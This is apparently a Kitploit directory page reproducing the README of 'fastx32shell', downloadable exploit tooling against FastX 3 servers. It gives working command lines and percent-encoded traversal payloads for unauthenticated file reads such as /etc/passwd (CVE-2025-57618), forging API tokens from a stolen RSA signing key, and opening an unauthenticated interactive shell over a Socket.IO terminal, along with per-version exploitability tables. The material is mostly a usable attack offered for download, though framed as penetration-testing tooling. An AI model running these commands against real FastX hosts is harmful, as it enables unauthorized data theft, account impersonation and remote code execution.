Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/bandrel/fastx32shell
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersPayload GenerationExploitationWeb Application ExploitationInformation GatheringPost-ExploitationPenetration TestingAuthentication
GitHub
45 days agoNot yet reviewed
Share
bandrel/fastx32shell

fastx32shell

Replay tooling for FastX 3 flaws: unauthenticated path-traversal file read, RSA token forgery, Socket.IO command execution, and build-string version scanning.

View Repository

fastx32shell

Replay tooling for three FastX 3 issues. The file read and the token forgery it enables are CVE-2025-57618 (FastX 3 ≤ 3.3.69); the web-terminal command execution is a separate issue, live through 3.1.27.

Read-only by default. Each tool runs one request (or one command) per invocation and does not write to the target.

The per-version summary is under Version notes.

ToolIssueDefault action
fastx32shell readunauthenticated arbitrary file read via /error/assets/:myfilereads one path
fastx32shell forgeAPI token forgery once the signing key is obtainedwrites a token locally
fastx32shell rceunauthenticated command execution via the /gritty Socket.IO namespaceruns id once, or an interactive shell
fastx32shell scannone — decides from the build string alonereports which issues a build carries

Exit codes are shared across the tools, so a wrapper can branch on them:

CodeMeaning
0the tool did what it was asked
1the surface answered but read nothing (fastx32shell read)
2namespace reached but auth is enforced (fastx32shell rce)
3surface absent or disabled (fastx32shell rce)
4transport error, or accepted with no output (fastx32shell rce); every host was a transport error (fastx32shell scan)
64usage error

fastx32shell scan reuses 1, 2 and 4 for its own meanings: 1 is "at least one host was flagged", the reverse of fastx32shell read's "the surface answered but read nothing", 2 is "no input yielded a build string", and 4 is "every host was a transport error". In every tool the number means the interesting thing happened, which is the property a wrapper should branch on.

1. Arbitrary file read (CVE-2025-57618)

/error/assets/:myfile resolves the route parameter against the asset directory with no validation, so any path the process can read is returned to a client that never authenticates.

Scope. Vulnerable from 3.0.32 through 3.3.69; fixed in 3.3.71 by a hardcoded filename allowlist. NVD's "thru 3.3.67" understates the range: 3.3.69 has no allowlist.

# does the route read files at all?
fastx32shell read --base https://fastx.example.com --check

# read specific paths
fastx32shell read --base https://fastx.example.com \
                --file /etc/passwd --file /etc/hostname --outdir ./loot

# pick a form explicitly (see below)
fastx32shell read --base https://fastx.example.com \
                --form relative --depth 9 --file /etc/passwd

Two request forms are supported because deployments differ:

  • absolute — /error/assets/%2fetc%2fpasswd. The leading slash is percent-encoded, so the parameter is an absolute path and the asset prefix is discarded. Contains no dot segments, so reverse proxies that normalise or reject ../ do not interfere.
  • relative — /error/assets/..%2f..%2f..%2fetc%2fpasswd. Depends on the install layout for its depth and can be answered with 400 by a front end before the request reaches the application.

--form auto (the default) tries absolute, then relative at depths 9–12, and stops at the first form that returns a body. A 200 with an empty body is the handler's "not found" path — it is not a successful read, and the tool will not report it as one. The 3.3.71 allowlist also rejects by returning an empty 200, so a patched instance is indistinguishable from an absent route by status alone; the empty-body check is what keeps the tool from reporting a patched server as vulnerable. In practice the absolute form is the one that works — it carries no dot segments, so this is CWE-36 (absolute path traversal), not the CWE-24 (../) the CVE records.

2. Token forgery (second half of CVE-2025-57618)

The file read above returns the RSA signing key from the config directory; this is the step that turns disclosure into impersonation. Given the signing key and the issuer value from the target, any account on the host can be impersonated:

fastx32shell forge -k private.pem -s serverId.txt -u someuser -o /tmp/tok.jwt

The token is written 0600 and is not echoed unless you pass -p. The tool refuses to write into a directory whose path contains evidence, findings or poc, so a bearer token does not end up in collected output.

x-fastx-token: <jwt>      or      Cookie: fx3-token=<jwt>

3. Unauthenticated command execution

Affected builds expose a web terminal over a Socket.IO namespace with no auth callback. The library treats a missing auth handler as "admit everyone", and its terminal event handler prefers the client's command over the configured one:

gritty.listen(socket, { autoRestart: true });   // no auth option

// later, in the library's connection handler:
const command = overrides.command || options.command || getCMD({platform});
pty.spawn(...stringArgv(command), { cwd, env: {...process.env, ...env} });

The configured login script is never reached, and the child runs as the account that owns the FastX service.

Version scope — read this before pointing the tool at anything.

BuildsResultWhy
3.0.41 – 3.1.27exploitableterminal in www/server, io.listen(app.server) binds the namespace to the public web port, no auth option
3.2.27 – 3.3.71not exploitableterminal moved to the loopback-only user-link process; socketIo() is handed an undefined server and mounts nothing; gritty module not shipped
3.0.32 and earliernot presentno terminal in the build at all
FastX 4 / 5not presentsubsystem removed

The FastX service account is in the root group. Against 3.2.27+ --base https://host:3300 is the wrong target shape anyway: the namespace isn't on the public port, so exit 3 there is correct, not a tool failure.

This range was broken by accident, not fixed: socketIo(app.server) where app.server is undefined is a latent bug, and a maintainer repairing the broken terminal without adding an auth option would reintroduce the RCE.

# does the namespace admit an unauthenticated client?
fastx32shell rce --base https://fastx.example.com --dry-run

# run one command
fastx32shell rce --base https://fastx.example.com --cmd 'id'

# keep a shell open and use it
fastx32shell rce --base https://fastx.example.com -i
printf 'id; ls /tmp\n' | fastx32shell rce --base https://fastx.example.com -i

The command string is split into argv by the target, so shell metacharacters are passed literally rather than interpreted. If you need a shell, ask for one explicitly — which is what -i does: it sends one terminal event naming --cmd (default bash) and then forwards each typed line as a data event, printing pty output as it arrives. Because the pty stays alive, cd, variables and pipes behave normally across lines; a one-shot --cmd starts from scratch every run.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    914
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    909
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    686
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    457
  • 5

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    405
  • 6

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    384

Explore all tools

Browse our collection of tools

View all tools →